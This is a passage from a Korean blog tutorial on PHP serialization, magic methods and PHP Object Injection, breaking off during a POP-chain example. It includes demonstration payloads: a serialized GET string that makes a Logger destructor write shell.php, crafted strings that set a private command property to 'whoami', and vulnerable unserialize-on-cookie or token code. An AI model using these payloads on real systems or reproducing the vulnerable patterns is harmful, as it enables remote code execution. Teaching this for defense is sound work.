&lt;li&gt;객체를 그대로는 저장할 수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;이에 대한 &lt;b&gt;해결책&amp;nbsp;&amp;rarr; 직렬화&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직렬화(Serialization)는 객체를 저장하거나 전송하기 위해 문자열/바이트로 변환하는 과정:&lt;/p&gt;
&lt;pre id=&quot;code_1773816968448&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;객체 (메모리) -&amp;gt; serialize() -&amp;gt; 문자열 -&amp;gt; 파일/DB/네트워크 
문자열 -&amp;gt; unserialize() -&amp;gt; 객체(메모리)&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;직렬화와 역직렬화&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;serialize() 함수&lt;/h3&gt;
&lt;pre id=&quot;code_1773817621618&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class User {
    public $username = &quot;alice&quot;;
    public $email = &quot;alice@example.com&quot;;
    private $password = &quot;secret123&quot;;
}

$user = new User();
$serialized = serialize($user);
echo $serialized;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 예제를 설명하기 전에, 사전 지식이 하나 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;객체지향 프로그래밍에서 객체를 생성할 때는 초기화 작업이 필요하다. &lt;br /&gt;new 키워드로 객체를 만들면 PHP는 자동으로&lt;b&gt; __construct()&lt;/b&gt; 메소드를 찾아서 실행한다. 이것을 &lt;b&gt;생성자(constructor)&lt;/b&gt;라고 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성자의 역할에는 몇 가지가 있다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;속성에 초기값 설정&lt;/li&gt;
&lt;li&gt;필요한 리소스 연결(데이터베이스, 파일 등)&lt;/li&gt;
&lt;li&gt;객체 사용 전 필요한 검증 수행&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;출력 결과&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773817917841&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;O:4:&quot;User&quot;:3:{
    s:8:&quot;username&quot;;s:5:&quot;alice&quot;;
    s:5:&quot;email&quot;;s:17:&quot;alice@example.com&quot;;
    s:14:&quot;Userpassword&quot;;s:9:&quot;secret123&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;직렬화 포맷 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기본 구조:&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773818060312&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;O:4:&quot;User&quot;:3:{...}
│ │  │     │
│ │  │     └─ 속성 개수 (3개)
│ │  └─────── 클래스명 (&quot;User&quot;)
│ └────────── 클래스명 길이 (4글자)
└──────────── Object 타입&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;속성별 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1.&lt;b&gt; Public 속성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773818094386&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;s:8:&quot;username&quot;;s:5:&quot;alice&quot;;
│ │    │        │ │   │
│ │    │        │ │   └─ 값: &quot;alice&quot;
│ │    │        │ └───── 값의 길이: 5
│ │    │        └─────── 타입: string
│ │    └──────────────── 속성명: &quot;username&quot;
│ └───────────────────── 속성명 길이: 8
└─────────────────────── 타입: string&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2.&lt;b&gt; Private 속성 - 특별한 규칙&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773818120956&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;s:14:&quot;Userpassword&quot;;s:9:&quot;secret123&quot;;
   ││              │
   ││              └─ 실제로는 &quot;\x00User\x00password&quot;
   │└──────────────── 길이가 14인 이유
   └───────────────── NULL byte 포함&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Private 속성은 앞/뒤에 NULL 바이트 (\x00)가 추가된다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;형식: \x00ClassName\x00propertyName&lt;/li&gt;
&lt;li&gt;예시: \x00User\x00password&lt;/li&gt;
&lt;li&gt;길이 계산: 1(NULL) + 4(User) + 1(NULL) + 8(password) = 14&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3. &lt;b&gt;Protected 속성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773818361493&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;s:8:&quot;\x00*\x00email&quot;;s:17:&quot;alice@example.com&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Protected 속성은 클래스명 대신 별포 (*)가 사용된다&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;형식: \x00*\x00propertyName&lt;/li&gt;
&lt;li&gt;길이 계산: 1(NULL) + 1(*) + 1(NULL) + 5(email) = 8&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;unserialize() 함수&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본동작&lt;/p&gt;
&lt;pre id=&quot;code_1773819690236&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$restored = unserialize($serialized);
var_dump($restored);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력 결과&lt;/p&gt;
&lt;pre id=&quot;code_1773819711070&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;object(User)#2 (3) {
    [&quot;username&quot;]=&amp;gt; string(5) &quot;alice&quot;
    [&quot;email&quot;]=&amp;gt; string(17) &quot;alice@example.com&quot;
    [&quot;password&quot;:&quot;User&quot;:private]=&amp;gt; string(9) &quot;secret123&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;unserialize()는 문자열을 파싱하여 원래의 User 객체를 메모리에 재생성한다. &lt;br /&gt;이때 중요한 점은 &lt;b&gt;객체의 생성자(__construct())가 호출되지 않는다는 것&lt;/b&gt;이다. unserialize()는 직렬화 문자열에 저장된 정보만을 가지고 객체를 복원하기 때문이다.&lt;/p&gt;
&lt;pre id=&quot;code_1773819905540&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class User {
    public $role = &quot;guest&quot;;
    
    public function __construct() {
        // 보안 검증
        if (!$this-&amp;gt;isValidSession()) {
            throw new Exception(&quot;Invalid session&quot;);
        }
        // 초기화
        $this-&amp;gt;role = $this-&amp;gt;determineRole();
    }
}

// 정상 생성
$user1 = new User();  // __construct() 호출됨 ✓

// 역직렬화
$user2 = unserialize($data);  // __construct() 호출 안됨 ✗&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;생성자의 모든 검증 로직이 무시됨&lt;/li&gt;
&lt;li&gt;초기화 코드가 실행되지 않음&lt;/li&gt;
&lt;li&gt;객체가 불완전한 상태로 생성될 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Magic Methods(매직 메서드)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP에는 특정 상황에서 자동으로 호출되는 특별한 메소드들이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이들은 Magic Methods라고 부른다. 이름이 모두 두 개의 밑줄 (__)로 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞에서 new 키워드로 객체를 만들면 PHP는 자동으로 __construct() 메소드를 찾아서 실행하는 것을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 바로 매직 메서드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역직렬화와 관련하여 가장 중요한 Magic Methods는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;__wakeup()&lt;/b&gt;: PHP 공식 문서에 따르면 &lt;br /&gt;&quot;unserialize()는 __wakeup() 메소드의 존재 여부를 확인하고, 존재한다면 그것을 실행합니다.&quot;&lt;br /&gt;이 메소드는 역직렬화가 완료된 직후에 자동으로 호출된다. 원래 용도는 데이터베이스 연결처럼 직렬화할 수 없는 리소스를 다시 연결하기 위한 것이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;__destruct()&lt;/b&gt;: 이것은 소멸자로, PHP 문서에서 &quot;객체에 대한 모든 참조가 제거되거나 객체가 명시적으로 파괴될 때, 또는 스크립트 실행이 끝날 때 자동으로 호출된다&quot;라고 설명한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;__toString()&lt;/b&gt;: 객체가 문자열로 취급될 때 자동으로 호출된다.&lt;br /&gt;예를 들어 echo $object; 를 실행하면 이 메소드가 호출된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;__call()&lt;/b&gt;: 존재하지 않는 메소드를 호출할 때 자동으로 호출된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 이유는 &lt;b&gt;객체의 생명주기를 관리&lt;/b&gt;하기 위해서이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 프로그래밍 언어에서는 객체가 생성될 때 생성자를 호출하고, 소멸될 때 소멸자가 호출된다.&lt;/p&gt;
&lt;pre id=&quot;code_1773820685180&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;일반 객체 생성:
new Object() &amp;rarr; __construct() &amp;rarr; [사용] &amp;rarr; __destruct()

역직렬화:
unserialize() &amp;rarr; __wakeup() &amp;rarr; [사용] &amp;rarr; __destruct()
                &amp;uarr;
         __construct() 호출 안됨&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;__construct()&lt;/b&gt;: 객체 생성 시&lt;/li&gt;
&lt;li&gt;&lt;b&gt;__destruct()&lt;/b&gt;: 객체 소멸 시&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역직렬화는 특별한 형태의 &quot;객체 생성&quot; 이므로, PHP는 개발자가 이 시점에 필요한 초기화 코드를 실행할 수 있도록 __wakeup()을 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 이런 자동 실행 메커니즘이 보안 취약점으로 이어질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;왜 echo가 __toString()을 호출하는가?&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;타입 변환의 필요성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773821034938&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo &quot;Hello&quot;;  // 문자열 &amp;rarr; 그대로 출력
echo 123;      // 숫자 &amp;rarr; 자동으로 문자열 변환
echo true;     // 불리언 &amp;rarr; &quot;1&quot; 또는 &quot;&quot;로 변환
echo $object;  // 객체 &amp;rarr; ???&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP는 객체를 어떻게 문자열로 표현해야 할지 모른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 대해서 PHP는 객체에 __toString() 메서드가 있다면 자동으로 호출해 문자열 표현을 얻는다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없으면 Fatal error: Object could not be converted to string&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이외에 자동 호출되는 다양한 상황:&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773821266216&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Person {
    private $name = &quot;Alice&quot;;
    
    public function __toString() {
        return $this-&amp;gt;name;
    }
}

$person = new Person();

// 1. echo/print
echo $person;  // &quot;Alice&quot;

// 2. 문자열 연결
$greeting = &quot;Hello, &quot; . $person;  // &quot;Hello, Alice&quot;

// 3. 문자열 함수
strlen($person);  // 5

// 4. 파일 쓰기
file_put_contents(&quot;file.txt&quot;, $person);  // &quot;Alice&quot; 저장

// 5. 문자열 비교
if ($person == &quot;Alice&quot;) { }  // __toString() 호출

// 6. 정규표현식
preg_match(&quot;/Alice/&quot;, $person);  // __toString() 호출
```&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 &lt;b&gt;POP Chain&lt;/b&gt;에서 중요한 이유:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자가 의도하지 않은 상황에서도 호출될 수 있음&lt;/li&gt;
&lt;li&gt;echo 하나로 전체 공격 체인이 시작될 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;PHP Object Injection 취약점&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기본 메커니즘&lt;/h3&gt;
&lt;pre id=&quot;code_1773821499383&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 취약한 코드
$user_input = $_GET['data'];
$object = unserialize($user_input);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;분석&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 사용자 입력 접수&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773821533831&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /page.php?data=O:6:&quot;Logger&quot;:1:{s:7:&quot;logfile&quot;;s:9:&quot;shell.php&quot;;}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 역직렬화&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773821586391&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$object = unserialize($_GET['data']);
// Logger 객체가 메모리에 생성됨
// logfile 속성 = &quot;shell.php&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 매직 메서드 자동 호출&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773821640715&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 스크립트 종료 시
// Logger::__destruct() 자동 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 위험한 동작 수행&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773821659464&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Logger {
    public $logfile;
    
    public function __destruct() {
        // 공격자가 제어하는 $logfile 사용!
        file_put_contents($this-&amp;gt;logfile, &quot;log data&quot;);
        // &amp;rarr; shell.php 파일 생성
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;개발자들이 이런 실수를 하는 이유?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;시나리오 1: 세션 관리의 편의성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773821988142&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 개발자의 의도: 세션 데이터를 쿠키에 저장
$user = new User();
$user-&amp;gt;username = &quot;alice&quot;;
$user-&amp;gt;role = &quot;admin&quot;;

// 직렬화하여 쿠키에 저장
setcookie(&quot;session&quot;, serialize($user));

// 다음 요청에서 복원
$user = unserialize($_COOKIE['session']);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쿠키는 클라이언트 측에 저장됨&lt;/li&gt;
&lt;li&gt;공격자가 쿠키 값을 자유롭게 수정 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서명/암호화 없이 저장&lt;/b&gt;하면 매우 위험&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;시나리오 2: API 토큰 간편 구현&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773822067717&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// JWT 대신 간단하게...
$token = base64_encode(serialize($userData));

// 나중에 복원
$userData = unserialize(base64_decode($token));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제점:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Base64는 암호화가 아님 (단순 인코딩)&lt;/li&gt;
&lt;li&gt;공격자가 토큰을 디코딩&amp;nbsp;&amp;rarr; 수정&amp;nbsp;&amp;rarr; 인코딩 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;시나리오 3: 캐시 시스템&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773822125558&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Redis에 객체 저장
$cache-&amp;gt;set(&quot;user:123&quot;, serialize($user));

// 나중에 가져오기
$user = unserialize($cache-&amp;gt;get(&quot;user:123&quot;));&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Redis가 외부에 노출되어 있다면?&lt;/li&gt;
&lt;li&gt;다른 취약점으로 Redis에 쓰기 가능하다면?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Private 속성을 조작할 수 있는 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;접근 제어의 작동 방식:&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773822389576&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class BankAccount {
    private $balance = 1000;
}

$account = new BankAccount();
$account-&amp;gt;balance = 9999999;  // Fatal error!&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Private은 코드 실행 시점에만 보호된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;직렬화에서의 동작&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직렬화/역직렬화는 데이터 변환 과정이지 코드 실행이 아니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;serialize(): 객체&amp;nbsp;&amp;rarr; 문자열 (접근 제어 무시)&lt;/li&gt;
&lt;li&gt;unserialize(): 문자열&amp;nbsp;&amp;rarr; 객체(접근 제어 무시)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공격자의 우회 방법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;방법 1: Reflection API 사용&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773822709164&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$obj = new Target();
$reflection = new ReflectionClass('Target');

// Private 속성 접근 가능하게 설정
$prop = $reflection-&amp;gt;getProperty('command');
$prop-&amp;gt;setAccessible(true);

// 값 변경
$prop-&amp;gt;setValue($obj, 'whoami');

// 직렬화
$payload = serialize($obj);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;방법 2: 문자열 직접 작성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773822846017&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Private 속성 포맷: \x00ClassName\x00propertyName
$payload = 'O:6:&quot;Target&quot;:1:{' .
    's:15:&quot;' . &quot;\x00&quot; . 'Target' . &quot;\x00&quot; . 'command&quot;;' .
    's:6:&quot;whoami&quot;;' .
'}';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;방법 3: NULL 바이트 URL 인코딩&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773822911814&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /page.php?data=O:6:&quot;Target&quot;:1:{s:15:&quot;%00Target%00command&quot;;s:6:&quot;whoami&quot;;}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTTP 전송 시 NULL 바이트(\x00) 를 %00로 인코딩&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;결과&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 방법 모두 동일한 결과&lt;/p&gt;
&lt;pre id=&quot;code_1773822961623&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;O:6:&quot;Target&quot;:1:{s:15:&quot;\x00Target\x00command&quot;;s:6:&quot;whoami&quot;;}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;unserialize()는 이 문자열을 파싱하여&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Target 클래스의 객체 생성&lt;/li&gt;
&lt;li&gt;Private 속성 command에 whoami 할당&lt;/li&gt;
&lt;li&gt;접근 제어를 전혀 검사하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;공격 기법&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;POP Chian (Property Oriented Programming)&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;POP Chain은 시스템 해킹의 ROP(Return-Oriented Programming)와 유사하게, 여러 클래스의 메서드를 체인처럼 연결하여 최종 목표(RCE, 파일 쓰기 등)를 달성하는 공격 기법&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;구조:&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773823491833&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[진입점] &amp;rarr; [중간 가젯 1] &amp;rarr; [중간 가젯 2] &amp;rarr; ... &amp;rarr; [최종 싱크]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;구성요소&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;진입점 (Entry Point)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동으로 호출되는 매직 메서드&lt;/li&gt;
&lt;li&gt;주로 __destruct(), __wakeup(), __toString()&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;중간 가젯 (Gadget)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다른 객체의 메서드를 호출하는 &quot;징검다리&quot;&lt;/li&gt;
&lt;li&gt;각 가젯이 다음 가젯을 호출하며 체인 형성&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;최종 싱크(Sink)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제 공격이 실행되는 위험한 함수&lt;/li&gt;
&lt;li&gt;예: eval(), system(), file_put_contents()&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;예제 (2단계 POP Chain)&lt;/h4&gt;
&lt;pre id=&quot;code_1773823694285&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// === 피해자 서버의 코드 ===

// 1. 진입점 - Template 클래스
class Template {
    private $template_data;
    
    public function __destruct() {
        // 객체 파괴 시 자동 실행
        echo $this-&amp;gt;template_data;
        // &amp;uarr; 만약 이것이 객체라면 __toString() 호출!
    }
}

// 2. 최종 싱크 - FileManager 클래스
class FileManager {
    private $filename;
    private $content;
    
    public function __toString() {
        // 문자열 변환 시 자동 실행
